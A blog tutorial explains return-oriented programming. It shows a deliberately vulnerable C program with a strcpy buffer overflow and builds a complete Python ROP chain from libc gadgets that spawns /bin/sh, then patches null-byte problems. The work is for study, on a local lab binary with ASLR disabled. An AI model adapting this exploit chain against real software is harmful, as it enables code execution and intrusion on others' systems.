Skip to main content

How to write a simple ROP-Chain

· 7 min read
Strider

Hi, in line with the last post of mine, today I would like to talk about ROP or ROP-Chain.

What is ROP?

ROP stands for Return Oriented Programming and is another technique in exploit development. ROP follows similar approaches as ret2libc, but offers the possibility to spawn more than just one shell. ROP is also Turing-complete, which means that any program behavior can be represented with it. The interesting thing about ROP is that it is able to bypass NX, DEP and ASLR. To bypass ASLR, however, the program to be addressed must leak information such as addresses of PLTs, which can then be used to derive the base addresses, for example. ROP uses or is based on so-called gadgets. What is a gadget? Well, a gadget is a piece of assembler code which ends with a ret. Such gadgets can e.g. change register values or move things on the stack and take them down again. Let's just have a look how this looks like.

Since ROP is based on gadgets, somehow the gadgets must be connected to each other. This is possible by means of chaining. To explain it more simply, since each gadget has a return statement, there is also somewhere an address where it jumps after a return. And this is used very much with ROP, in which one switches all Gadget one after the other. I made a little sketch how this looks like.

dia1.png

You can see on the picture that you start at Start and just jump from gadget to gadget.

Vulnerable application

Ok enough theory, let's just make an exploit like this. I have a small program here, which can be attacked by buffer overflow.

#include <stdio.h>
#include <string.h>

void foo(char* buf)
{
char buffer[64];
strcpy(buffer, buf);
}

int main(int argc, char **argv)
{
foo(argv[1]);
printf("%s", argv[1]);
}

Build the exploit

If we try to find out here how big the offset to the EIP is, we end up with 80 bytes with this exploit.

./vuln $(python -c "print 'A' * 76 + 'BBBB'")

In GDB you can see that the EIP has been completely overwritten. Nice that can be exploited now.

dia2.png

What can we do next to build a ROP exploit? Very simple! Search for gadgets. As I said, gadgets are just a few assembler operations and can be found everywhere. You can search the gadgets manually with a disassembler or GDB. You can also do it with tools, e.g. a nice representative of a tool is Ropper. You can clone the tool at Github or install it via Pip. With Ropper you now have the possibility to pull gadgets from the program itself or from others e.g. Libc. In this post I will use the Libc and disable the ASLR so it doesn't get unnecessarily complicated. What exactly do you have to do now? First find out where the base address of Libc is. You can easily find out the address with GDB, just start it and let it crash. After that you can start a shell in GDB and get the memory map of the program.

dia3.png

The address circled in red is the beginning of Libc. The left or smaller address is the base address of Libc. We can now build the exploit on this. As an example, I just want to spawn a new shell. The advantage, because ROP is based on gadgets, you can build the shellcode from the simple bufferoverflow-exploits. How exactly the structure should be, I have packed here as a picture.

dia4.png

Looks really similar to a simple buffer overflow exploit. Well, the return address is missing at the end, but this is to be found directly after the padding, so gadget 1. Ok let's start looking. First, we can look for a gagdet, which sets the register EAX to 0. For this we use Ropper and enter Libc as file which should be searched. The whole thing then looks like this.

dia5.png

I will show this still at 2 gadgets, afterwards no more, that it is quite simply held and the text here otherwise, to a novel becomes. Ok, we found now a gadget, which sets the register EAX on 0. What can we do with it, or how do we continue? Well, on the left of the gadget you can see the address where the gadget can be found. What you can do now is to add this address with the base address of the libc. This can be done easily in Python. By adding both addresses, we can jump into the gadgets at runtime, which is otherwise not possible.

dia6.png

In the picture above you can see that parts of the exploit are implemented. Well, what is already known. Lines 5 and 6 are the addresses found so far. The upper one is the base address of Libc and the lower one is the address of the gadget. The gadget address is summed with the base address of Libc and converted to little-endian format using struct. The lower lines are just the creation of the payload, which consists of the padding of 76 A's and the gadget in line 6.

Now we can look for the gadget, which increases the register EAX by 11. Same story as before.

dia7.png

We can now embed the gadget that increments the EAX register by 11 into the exploit. Ok, we'll pretend we have all the gadgets, next we need to see how to get the string /bin/sh loaded into the EBX register. There are several ways to do this. The first is to simply push the string onto the stack and store the stack pointer address into the EBX register. The other and simpler solution is to search for the string /bin/sh in libc and simply embed the address in the exploit.

dia8.png

In the image above, instead of looking for a gadget, we looked for a string to get the desired result. Again, since it comes from Libc, we can simply add this address together with Libc's base address. If we put it all together, the exploit here should look like this.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import struct

libc_base_addr = 0xf7dc6000
xor_eax_eax = struct.pack('<I', libc_base_addr + 0x0002fe1f)
pop_ebx = struct.pack('<I', libc_base_addr+ 0x0001a8b5)
pop_ecx_edx = struct.pack('<I', libc_base_addr+ 0x0002ee7b)
add_eax_11 = struct.pack('<I', libc_base_addr+0x0015b0c6)
syscall = struct.pack('<I', libc_base_addr+0x0002f275)
binsh = struct.pack('<I', libc_base_addr+0x0017eaaa)

payload = 'A' * 76
payload += xor_eax_eax
payload += add_eax_11
payload += pop_ebx
payload += binsh
payload += pop_ecx_edx
payload += struct.pack('<I', 0)# NULL in C
payload += struct.pack('<I', 0)# NULL in C
payload += syscall

print(payload)

Test the exploit

Now comes the fun part of the development, trying out the exploit 😄

dia9.png

Joa, the exploit doesn't work yet, but why? Quite simply, the Nullbytes are not taken over so and provide within the Exploit, for an offset. What can you do to fix the problem? Well, you could simply get addresses from the libc, which point to NULL. And that's exactly what we do. But instead of getting an address from the libc, we just take an address from the actual program we want to exploit. Just set a breakpoint and search for a NULL address using GDB with the command find 0x00.

dia10.png

GDB provides us with 6 different addresses, which all point to NULL. Here you can take any one of them and use it in your exploit. But here it must be considered that it concerns an address, which changes when ASLR is again on, each time. The two lines, we can then simply replace with:

payload += struct.pack('<I', 0x56555007)# NULL in C
payload += struct.pack('<I', 0x56555007)# NULL in C

And with that, the exploit should now be ready. Let's test it again in the debugger.

dia11.png

Ok, we see that the exploit now works and could execute any command. Does this work outside of GDB? Yes, it does. As a small demo, I made a picture here, so you can see that it works.

asciicast

I hope you liked it 😄